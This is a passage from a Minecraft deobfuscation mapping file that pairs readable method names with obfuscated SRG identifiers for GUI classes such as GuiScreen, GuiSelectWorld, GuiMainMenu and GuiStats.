net/minecraft/client/gui/GuiScreen/func_146285_a (Lnet/minecraft/item/ItemStack;II)V +MD: net/minecraft/client/gui/GuiScreen/confirmClicked (ZI)V net/minecraft/client/gui/GuiScreen/func_73878_a (ZI)V +MD: net/minecraft/client/gui/GuiScreen/initGui ()V net/minecraft/client/gui/GuiScreen/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreen/mouseReleased (III)V net/minecraft/client/gui/GuiScreen/func_146286_b (III)V +MD: net/minecraft/client/gui/GuiScreen/onResize (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiScreen/func_175273_b (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiScreen/sendChatMessage (Ljava/lang/String;Z)V net/minecraft/client/gui/GuiScreen/func_175281_b (Ljava/lang/String;Z)V +MD: net/minecraft/client/gui/GuiScreen/drawWorldBackground (I)V net/minecraft/client/gui/GuiScreen/func_146270_b (I)V +MD: net/minecraft/client/gui/GuiScreen/drawDefaultBackground ()V net/minecraft/client/gui/GuiScreen/func_146276_q_ ()V +MD: net/minecraft/client/gui/GuiScreen/drawBackground (I)V net/minecraft/client/gui/GuiScreen/func_146278_c (I)V +MD: net/minecraft/client/gui/GuiScreen/doesGuiPauseGame ()Z net/minecraft/client/gui/GuiScreen/func_73868_f ()Z +MD: net/minecraft/client/gui/GuiScreen/isKeyComboCtrlX (I)Z net/minecraft/client/gui/GuiScreen/func_175277_d (I)Z +MD: net/minecraft/client/gui/GuiScreen/updateScreen ()V net/minecraft/client/gui/GuiScreen/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreen/isKeyComboCtrlV (I)Z net/minecraft/client/gui/GuiScreen/func_175279_e (I)Z +MD: net/minecraft/client/gui/GuiScreen/setClipboardString (Ljava/lang/String;)V net/minecraft/client/gui/GuiScreen/func_146275_d (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiScreen/isKeyComboCtrlC (I)Z net/minecraft/client/gui/GuiScreen/func_175280_f (I)Z +MD: net/minecraft/client/gui/GuiScreen/sendChatMessage (Ljava/lang/String;)V net/minecraft/client/gui/GuiScreen/func_175275_f (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiScreen/isKeyComboCtrlA (I)Z net/minecraft/client/gui/GuiScreen/func_175278_g (I)Z +MD: net/minecraft/client/gui/GuiScreen/handleMouseInput ()V net/minecraft/client/gui/GuiScreen/func_146274_d ()V +MD: net/minecraft/client/gui/GuiScreen/handleKeyboardInput ()V net/minecraft/client/gui/GuiScreen/func_146282_l ()V +MD: net/minecraft/client/gui/GuiScreen/onGuiClosed ()V net/minecraft/client/gui/GuiScreen/func_146281_b ()V +MD: net/minecraft/client/gui/GuiScreen/getClipboardString ()Ljava/lang/String; net/minecraft/client/gui/GuiScreen/func_146277_j ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiScreen/handleInput ()V net/minecraft/client/gui/GuiScreen/func_146269_k ()V +MD: net/minecraft/client/gui/GuiScreen/isCtrlKeyDown ()Z net/minecraft/client/gui/GuiScreen/func_146271_m ()Z +MD: net/minecraft/client/gui/GuiScreen/isShiftKeyDown ()Z net/minecraft/client/gui/GuiScreen/func_146272_n ()Z +MD: net/minecraft/client/gui/GuiScreen/isAltKeyDown ()Z net/minecraft/client/gui/GuiScreen/func_175283_s ()Z +MD: net/minecraft/client/gui/GuiSelectWorld$List/drawBackground ()V net/minecraft/client/gui/GuiSelectWorld$List/func_148123_a ()V +MD: net/minecraft/client/gui/GuiSelectWorld$List/isSelected (I)Z net/minecraft/client/gui/GuiSelectWorld$List/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiSelectWorld$List/drawSlot (IIIIII)V net/minecraft/client/gui/GuiSelectWorld$List/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiSelectWorld$List/elementClicked (IZII)V net/minecraft/client/gui/GuiSelectWorld$List/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiSelectWorld$List/getSize ()I net/minecraft/client/gui/GuiSelectWorld$List/func_148127_b ()I +MD: net/minecraft/client/gui/GuiSelectWorld$List/getContentHeight ()I net/minecraft/client/gui/GuiSelectWorld$List/func_148138_e ()I +MD: net/minecraft/client/gui/GuiSelectWorld/addWorldSelectionButtons ()V net/minecraft/client/gui/GuiSelectWorld/func_146618_g ()V +MD: net/minecraft/client/gui/GuiSelectWorld/drawScreen (IIF)V net/minecraft/client/gui/GuiSelectWorld/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiSelectWorld/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiSelectWorld/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiSelectWorld/makeDeleteWorldYesNo (Lnet/minecraft/client/gui/GuiYesNoCallback;Ljava/lang/String;I)Lnet/minecraft/client/gui/GuiYesNo; net/minecraft/client/gui/GuiSelectWorld/func_152129_a (Lnet/minecraft/client/gui/GuiYesNoCallback;Ljava/lang/String;I)Lnet/minecraft/client/gui/GuiYesNo; +MD: net/minecraft/client/gui/GuiSelectWorld/access$000 (Lnet/minecraft/client/gui/GuiSelectWorld;)Ljava/util/List; net/minecraft/client/gui/GuiSelectWorld/access$000 (Lnet/minecraft/client/gui/GuiSelectWorld;)Ljava/util/List; +MD: net/minecraft/client/gui/GuiSelectWorld/access$102 (Lnet/minecraft/client/gui/GuiSelectWorld;I)I net/minecraft/client/gui/GuiSelectWorld/access$102 (Lnet/minecraft/client/gui/GuiSelectWorld;I)I +MD: net/minecraft/client/gui/GuiSelectWorld/confirmClicked (ZI)V net/minecraft/client/gui/GuiSelectWorld/func_73878_a (ZI)V +MD: net/minecraft/client/gui/GuiSelectWorld/initGui ()V net/minecraft/client/gui/GuiSelectWorld/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiSelectWorld/func_146621_a (I)Ljava/lang/String; net/minecraft/client/gui/GuiSelectWorld/func_146621_a (I)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiSelectWorld/access$100 (Lnet/minecraft/client/gui/GuiSelectWorld;)I net/minecraft/client/gui/GuiSelectWorld/access$100 (Lnet/minecraft/client/gui/GuiSelectWorld;)I +MD: net/minecraft/client/gui/GuiSelectWorld/access$200 (Lnet/minecraft/client/gui/GuiSelectWorld;)Lnet/minecraft/client/gui/GuiButton; net/minecraft/client/gui/GuiSelectWorld/access$200 (Lnet/minecraft/client/gui/GuiSelectWorld;)Lnet/minecraft/client/gui/GuiButton; +MD: net/minecraft/client/gui/GuiSelectWorld/access$300 (Lnet/minecraft/client/gui/GuiSelectWorld;)Lnet/minecraft/client/gui/GuiButton; net/minecraft/client/gui/GuiSelectWorld/access$300 (Lnet/minecraft/client/gui/GuiSelectWorld;)Lnet/minecraft/client/gui/GuiButton; +MD: net/minecraft/client/gui/GuiSelectWorld/access$400 (Lnet/minecraft/client/gui/GuiSelectWorld;)Lnet/minecraft/client/gui/GuiButton; net/minecraft/client/gui/GuiSelectWorld/access$400 (Lnet/minecraft/client/gui/GuiSelectWorld;)Lnet/minecraft/client/gui/GuiButton; +MD: net/minecraft/client/gui/GuiSelectWorld/loadLevelList ()V net/minecraft/client/gui/GuiSelectWorld/func_146627_h ()V +MD: net/minecraft/client/gui/GuiSelectWorld/access$500 (Lnet/minecraft/client/gui/GuiSelectWorld;)Lnet/minecraft/client/gui/GuiButton; net/minecraft/client/gui/GuiSelectWorld/access$500 (Lnet/minecraft/client/gui/GuiSelectWorld;)Lnet/minecraft/client/gui/GuiButton; +MD: net/minecraft/client/gui/GuiSelectWorld/access$600 (Lnet/minecraft/client/gui/GuiSelectWorld;)Ljava/lang/String; net/minecraft/client/gui/GuiSelectWorld/access$600 (Lnet/minecraft/client/gui/GuiSelectWorld;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiSelectWorld/func_146614_d (I)Ljava/lang/String; net/minecraft/client/gui/GuiSelectWorld/func_146614_d (I)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiSelectWorld/access$700 (Lnet/minecraft/client/gui/GuiSelectWorld;)Ljava/text/DateFormat; net/minecraft/client/gui/GuiSelectWorld/access$700 (Lnet/minecraft/client/gui/GuiSelectWorld;)Ljava/text/DateFormat; +MD: net/minecraft/client/gui/GuiSelectWorld/func_146615_e (I)V net/minecraft/client/gui/GuiSelectWorld/func_146615_e (I)V +MD: net/minecraft/client/gui/GuiSelectWorld/access$800 (Lnet/minecraft/client/gui/GuiSelectWorld;)Ljava/lang/String; net/minecraft/client/gui/GuiSelectWorld/access$800 (Lnet/minecraft/client/gui/GuiSelectWorld;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiSelectWorld/access$900 (Lnet/minecraft/client/gui/GuiSelectWorld;)[Ljava/lang/String; net/minecraft/client/gui/GuiSelectWorld/access$900 (Lnet/minecraft/client/gui/GuiSelectWorld;)[Ljava/lang/String; +MD: net/minecraft/client/gui/GuiSelectWorld/handleMouseInput ()V net/minecraft/client/gui/GuiSelectWorld/func_146274_d ()V +MD: net/minecraft/client/gui/GuiShareToLan/func_146595_g ()V net/minecraft/client/gui/GuiShareToLan/func_146595_g ()V +MD: net/minecraft/client/gui/GuiShareToLan/drawScreen (IIF)V net/minecraft/client/gui/GuiShareToLan/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiShareToLan/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiShareToLan/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiShareToLan/initGui ()V net/minecraft/client/gui/GuiShareToLan/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiCustomizeSkin$ButtonPart/access$100 (Lnet/minecraft/client/gui/GuiCustomizeSkin$ButtonPart;)Lnet/minecraft/entity/player/EnumPlayerModelParts; net/minecraft/client/gui/GuiCustomizeSkin$ButtonPart/access$100 (Lnet/minecraft/client/gui/GuiCustomizeSkin$ButtonPart;)Lnet/minecraft/entity/player/EnumPlayerModelParts; +MD: net/minecraft/client/gui/GuiCustomizeSkin/drawScreen (IIF)V net/minecraft/client/gui/GuiCustomizeSkin/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiCustomizeSkin/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiCustomizeSkin/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiCustomizeSkin/access$200 (Lnet/minecraft/client/gui/GuiCustomizeSkin;Lnet/minecraft/entity/player/EnumPlayerModelParts;)Ljava/lang/String; net/minecraft/client/gui/GuiCustomizeSkin/access$200 (Lnet/minecraft/client/gui/GuiCustomizeSkin;Lnet/minecraft/entity/player/EnumPlayerModelParts;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiCustomizeSkin/func_175358_a (Lnet/minecraft/entity/player/EnumPlayerModelParts;)Ljava/lang/String; net/minecraft/client/gui/GuiCustomizeSkin/func_175358_a (Lnet/minecraft/entity/player/EnumPlayerModelParts;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiCustomizeSkin/initGui ()V net/minecraft/client/gui/GuiCustomizeSkin/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiSnooper$List/drawBackground ()V net/minecraft/client/gui/GuiSnooper$List/func_148123_a ()V +MD: net/minecraft/client/gui/GuiSnooper$List/isSelected (I)Z net/minecraft/client/gui/GuiSnooper$List/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiSnooper$List/drawSlot (IIIIII)V net/minecraft/client/gui/GuiSnooper$List/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiSnooper$List/elementClicked (IZII)V net/minecraft/client/gui/GuiSnooper$List/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiSnooper$List/getSize ()I net/minecraft/client/gui/GuiSnooper$List/func_148127_b ()I +MD: net/minecraft/client/gui/GuiSnooper$List/getScrollBarX ()I net/minecraft/client/gui/GuiSnooper$List/func_148137_d ()I +MD: net/minecraft/client/gui/GuiSnooper/drawScreen (IIF)V net/minecraft/client/gui/GuiSnooper/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiSnooper/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiSnooper/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiSnooper/access$000 (Lnet/minecraft/client/gui/GuiSnooper;)Ljava/util/List; net/minecraft/client/gui/GuiSnooper/access$000 (Lnet/minecraft/client/gui/GuiSnooper;)Ljava/util/List; +MD: net/minecraft/client/gui/GuiSnooper/initGui ()V net/minecraft/client/gui/GuiSnooper/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiSnooper/access$100 (Lnet/minecraft/client/gui/GuiSnooper;)Ljava/util/List; net/minecraft/client/gui/GuiSnooper/access$100 (Lnet/minecraft/client/gui/GuiSnooper;)Ljava/util/List; +MD: net/minecraft/client/gui/GuiSnooper/handleMouseInput ()V net/minecraft/client/gui/GuiSnooper/func_146274_d ()V +MD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/mouseReleased (II)V net/minecraft/client/gui/GuiScreenOptionsSounds$Button/func_146118_a (II)V +MD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/playPressSound (Lnet/minecraft/client/audio/SoundHandler;)V net/minecraft/client/gui/GuiScreenOptionsSounds$Button/func_146113_a (Lnet/minecraft/client/audio/SoundHandler;)V +MD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/getHoverState (Z)I net/minecraft/client/gui/GuiScreenOptionsSounds$Button/func_146114_a (Z)I +MD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/mouseDragged (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiScreenOptionsSounds$Button/func_146119_b (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/mousePressed (Lnet/minecraft/client/Minecraft;II)Z net/minecraft/client/gui/GuiScreenOptionsSounds$Button/func_146116_c (Lnet/minecraft/client/Minecraft;II)Z +MD: net/minecraft/client/gui/GuiScreenOptionsSounds/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenOptionsSounds/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenOptionsSounds/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreenOptionsSounds/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreenOptionsSounds/access$000 (Lnet/minecraft/client/gui/GuiScreenOptionsSounds;)Lnet/minecraft/client/settings/GameSettings; net/minecraft/client/gui/GuiScreenOptionsSounds/access$000 (Lnet/minecraft/client/gui/GuiScreenOptionsSounds;)Lnet/minecraft/client/settings/GameSettings; +MD: net/minecraft/client/gui/GuiScreenOptionsSounds/getSoundVolume (Lnet/minecraft/client/audio/SoundCategory;)Ljava/lang/String; net/minecraft/client/gui/GuiScreenOptionsSounds/func_146504_a (Lnet/minecraft/client/audio/SoundCategory;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiScreenOptionsSounds/initGui ()V net/minecraft/client/gui/GuiScreenOptionsSounds/func_73866_w_ ()V +MD: net/minecraft/command/server/CommandSaveAll/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandSaveAll/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandSaveAll/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandSaveAll/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandSaveAll/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandSaveAll/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiMainMenu/func_183501_a ()Z net/minecraft/client/gui/GuiMainMenu/func_183501_a ()Z +MD: net/minecraft/client/gui/GuiMainMenu/keyTyped (CI)V net/minecraft/client/gui/GuiMainMenu/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiMainMenu/rotateAndBlurSkybox (F)V net/minecraft/client/gui/GuiMainMenu/func_73968_a (F)V +MD: net/minecraft/client/gui/GuiMainMenu/drawScreen (IIF)V net/minecraft/client/gui/GuiMainMenu/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiMainMenu/mouseClicked (III)V net/minecraft/client/gui/GuiMainMenu/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiMainMenu/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiMainMenu/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiMainMenu/confirmClicked (ZI)V net/minecraft/client/gui/GuiMainMenu/func_73878_a (ZI)V +MD: net/minecraft/client/gui/GuiMainMenu/initGui ()V net/minecraft/client/gui/GuiMainMenu/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiMainMenu/addSingleplayerMultiplayerButtons (II)V net/minecraft/client/gui/GuiMainMenu/func_73969_a (II)V +MD: net/minecraft/client/gui/GuiMainMenu/drawPanorama (IIF)V net/minecraft/client/gui/GuiMainMenu/func_73970_b (IIF)V +MD: net/minecraft/client/gui/GuiMainMenu/addDemoButtons (II)V net/minecraft/client/gui/GuiMainMenu/func_73972_b (II)V +MD: net/minecraft/client/gui/GuiMainMenu/renderSkybox (IIF)V net/minecraft/client/gui/GuiMainMenu/func_73971_c (IIF)V +MD: net/minecraft/client/gui/GuiMainMenu/doesGuiPauseGame ()Z net/minecraft/client/gui/GuiMainMenu/func_73868_f ()Z +MD: net/minecraft/client/gui/GuiMainMenu/updateScreen ()V net/minecraft/client/gui/GuiMainMenu/func_73876_c ()V +MD: net/minecraft/client/gui/GuiMainMenu/switchToRealms ()V net/minecraft/client/gui/GuiMainMenu/func_140005_i ()V +MD: net/minecraft/client/gui/GuiMainMenu/onGuiClosed ()V net/minecraft/client/gui/GuiMainMenu/func_146281_b ()V +MD: net/minecraft/client/gui/GuiVideoSettings/drawScreen (IIF)V net/minecraft/client/gui/GuiVideoSettings/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiVideoSettings/mouseClicked (III)V net/minecraft/client/gui/GuiVideoSettings/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiVideoSettings/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiVideoSettings/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiVideoSettings/initGui ()V net/minecraft/client/gui/GuiVideoSettings/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiVideoSettings/mouseReleased (III)V net/minecraft/client/gui/GuiVideoSettings/func_146286_b (III)V +MD: net/minecraft/client/gui/GuiVideoSettings/handleMouseInput ()V net/minecraft/client/gui/GuiVideoSettings/func_146274_d ()V +MD: net/minecraft/client/gui/GuiWinGame/sendRespawnPacket ()V net/minecraft/client/gui/GuiWinGame/func_146574_g ()V +MD: net/minecraft/client/gui/GuiWinGame/keyTyped (CI)V net/minecraft/client/gui/GuiWinGame/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiWinGame/drawScreen (IIF)V net/minecraft/client/gui/GuiWinGame/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiWinGame/initGui ()V net/minecraft/client/gui/GuiWinGame/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiWinGame/drawWinGameScreen (IIF)V net/minecraft/client/gui/GuiWinGame/func_146575_b (IIF)V +MD: net/minecraft/client/gui/GuiWinGame/doesGuiPauseGame ()Z net/minecraft/client/gui/GuiWinGame/func_73868_f ()Z +MD: net/minecraft/client/gui/GuiWinGame/updateScreen ()V net/minecraft/client/gui/GuiWinGame/func_73876_c ()V +MD: net/minecraft/client/gui/achievement/GuiAchievement/updateAchievementWindow ()V net/minecraft/client/gui/achievement/GuiAchievement/func_146254_a ()V +MD: net/minecraft/client/gui/achievement/GuiAchievement/displayAchievement (Lnet/minecraft/stats/Achievement;)V net/minecraft/client/gui/achievement/GuiAchievement/func_146256_a (Lnet/minecraft/stats/Achievement;)V +MD: net/minecraft/client/gui/achievement/GuiAchievement/clearAchievements ()V net/minecraft/client/gui/achievement/GuiAchievement/func_146257_b ()V +MD: net/minecraft/client/gui/achievement/GuiAchievement/displayUnformattedAchievement (Lnet/minecraft/stats/Achievement;)V net/minecraft/client/gui/achievement/GuiAchievement/func_146255_b (Lnet/minecraft/stats/Achievement;)V +MD: net/minecraft/client/gui/achievement/GuiAchievement/updateAchievementWindowScale ()V net/minecraft/client/gui/achievement/GuiAchievement/func_146258_c ()V +MD: net/minecraft/client/gui/achievement/GuiAchievements/doneLoading ()V net/minecraft/client/gui/achievement/GuiAchievements/func_146509_g ()V +MD: net/minecraft/client/gui/achievement/GuiAchievements/keyTyped (CI)V net/minecraft/client/gui/achievement/GuiAchievements/func_73869_a (CI)V +MD: net/minecraft/client/gui/achievement/GuiAchievements/drawScreen (IIF)V net/minecraft/client/gui/achievement/GuiAchievements/func_73863_a (IIF)V +MD: net/minecraft/client/gui/achievement/GuiAchievements/func_175371_a (Lnet/minecraft/block/Block;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/gui/achievement/GuiAchievements/func_175371_a (Lnet/minecraft/block/Block;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/gui/achievement/GuiAchievements/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/achievement/GuiAchievements/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/achievement/GuiAchievements/initGui ()V net/minecraft/client/gui/achievement/GuiAchievements/func_73866_w_ ()V +MD: net/minecraft/client/gui/achievement/GuiAchievements/drawAchievementScreen (IIF)V net/minecraft/client/gui/achievement/GuiAchievements/func_146552_b (IIF)V +MD: net/minecraft/client/gui/achievement/GuiAchievements/doesGuiPauseGame ()Z net/minecraft/client/gui/achievement/GuiAchievements/func_73868_f ()Z +MD: net/minecraft/client/gui/achievement/GuiAchievements/updateScreen ()V net/minecraft/client/gui/achievement/GuiAchievements/func_73876_c ()V +MD: net/minecraft/client/gui/achievement/GuiAchievements/drawTitle ()V net/minecraft/client/gui/achievement/GuiAchievements/func_146553_h ()V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsBlock$1/compare (Lnet/minecraft/stats/StatCrafting;Lnet/minecraft/stats/StatCrafting;)I net/minecraft/client/gui/achievement/GuiStats$StatsBlock$1/compare (Lnet/minecraft/stats/StatCrafting;Lnet/minecraft/stats/StatCrafting;)I +MD: net/minecraft/client/gui/achievement/GuiStats$StatsBlock$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/client/gui/achievement/GuiStats$StatsBlock$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/client/gui/achievement/GuiStats$StatsBlock/drawSlot (IIIIII)V net/minecraft/client/gui/achievement/GuiStats$StatsBlock/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsBlock/drawListHeader (IILnet/minecraft/client/renderer/Tessellator;)V net/minecraft/client/gui/achievement/GuiStats$StatsBlock/func_148129_a (IILnet/minecraft/client/renderer/Tessellator;)V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsBlock/func_148210_b (I)Ljava/lang/String; net/minecraft/client/gui/achievement/GuiStats$StatsBlock/func_148210_b (I)Ljava/lang/String; +MD: net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/drawBackground ()V net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/func_148123_a ()V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/isSelected (I)Z net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/func_148131_a (I)Z +MD: net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/drawSlot (IIIIII)V net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/elementClicked (IZII)V net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/func_148144_a (IZII)V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/getSize ()I net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/func_148127_b ()I +MD: net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/getContentHeight ()I net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/func_148138_e ()I +MD: net/minecraft/client/gui/achievement/GuiStats$StatsItem$1/compare (Lnet/minecraft/stats/StatCrafting;Lnet/minecraft/stats/StatCrafting;)I net/minecraft/client/gui/achievement/GuiStats$StatsItem$1/compare (Lnet/minecraft/stats/StatCrafting;Lnet/minecraft/stats/StatCrafting;)I +MD: net/minecraft/client/gui/achievement/GuiStats$StatsItem$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/client/gui/achievement/GuiStats$StatsItem$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/client/gui/achievement/GuiStats$StatsItem/drawSlot (IIIIII)V net/minecraft/client/gui/achievement/GuiStats$StatsItem/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsItem/drawListHeader (IILnet/minecraft/client/renderer/Tessellator;)V net/minecraft/client/gui/achievement/GuiStats$StatsItem/func_148129_a (IILnet/minecraft/client/renderer/Tessellator;)V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsItem/func_148210_b (I)Ljava/lang/String; net/minecraft/client/gui/achievement/GuiStats$StatsItem/func_148210_b (I)Ljava/lang/String; +MD: net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/drawBackground ()V net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/func_148123_a ()V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/isSelected (I)Z net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/func_148131_a (I)Z +MD: net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/drawSlot (IIIIII)V net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/elementClicked (IZII)V net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/func_148144_a (IZII)V +MD: net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/getSize ()I net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/func_148127_b ()I +MD: net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/getContentHeight ()I net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/func_148138_e ()I +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/drawBackground ()V net/minecraft/client/gui/achievement/GuiStats$Stats/func_148123_a ()V +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/isSelected (I)Z net/minecraft/client/gui/achievement/GuiStats$Stats/func_148131_a (I)Z +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/func_148132_a (II)V net/minecraft/client/gui/achievement/GuiStats$Stats/func_148132_a (II)V +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/drawListHeader (IILnet/minecraft/client/renderer/Tessellator;)V net/minecraft/client/gui/achievement/GuiStats$Stats/func_148129_a (IILnet/minecraft/client/renderer/Tessellator;)V +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/elementClicked (IZII)V net/minecraft/client/gui/achievement/GuiStats$Stats/func_148144_a (IZII)V +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/func_148213_a (Lnet/minecraft/stats/StatCrafting;II)V net/minecraft/client/gui/achievement/GuiStats$Stats/func_148213_a (Lnet/minecraft/stats/StatCrafting;II)V +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/func_148209_a (Lnet/minecraft/stats/StatBase;IIZ)V net/minecraft/client/gui/achievement/GuiStats$Stats/func_148209_a (Lnet/minecraft/stats/StatBase;IIZ)V +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/getSize ()I net/minecraft/client/gui/achievement/GuiStats$Stats/func_148127_b ()I +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/func_148210_b (I)Ljava/lang/String; net/minecraft/client/gui/achievement/GuiStats$Stats/func_148210_b (I)Ljava/lang/String; +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/func_148142_b (II)V net/minecraft/client/gui/achievement/GuiStats$Stats/func_148142_b (II)V +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/func_148211_c (I)Lnet/minecraft/stats/StatCrafting; net/minecraft/client/gui/achievement/GuiStats$Stats/func_148211_c (I)Lnet/minecraft/stats/StatCrafting; +MD: net/minecraft/client/gui/achievement/GuiStats$Stats/func_148212_h (I)V net/minecraft/client/gui/achievement/GuiStats$Stats/func_148212_h (I)V +MD: net/minecraft/client/gui/achievement/GuiStats/doneLoading ()V net/minecraft/client/gui/achievement/GuiStats/func_146509_g ()V +MD: net/minecraft/client/gui/achievement/GuiStats/drawScreen (IIF)V net/minecraft/client/gui/achievement/GuiStats/func_73863_a (IIF)V +MD: net/minecraft/client/gui/achievement/GuiStats/drawStatsScreen (IILnet/minecraft/item/Item;)V net/minecraft/client/gui/achievement/GuiStats/func_146521_a (IILnet/minecraft/item/Item;)V +MD: net/minecraft/client/gui/achievement/GuiStats/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/achievement/GuiStats/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/achievement/GuiStats/access$000 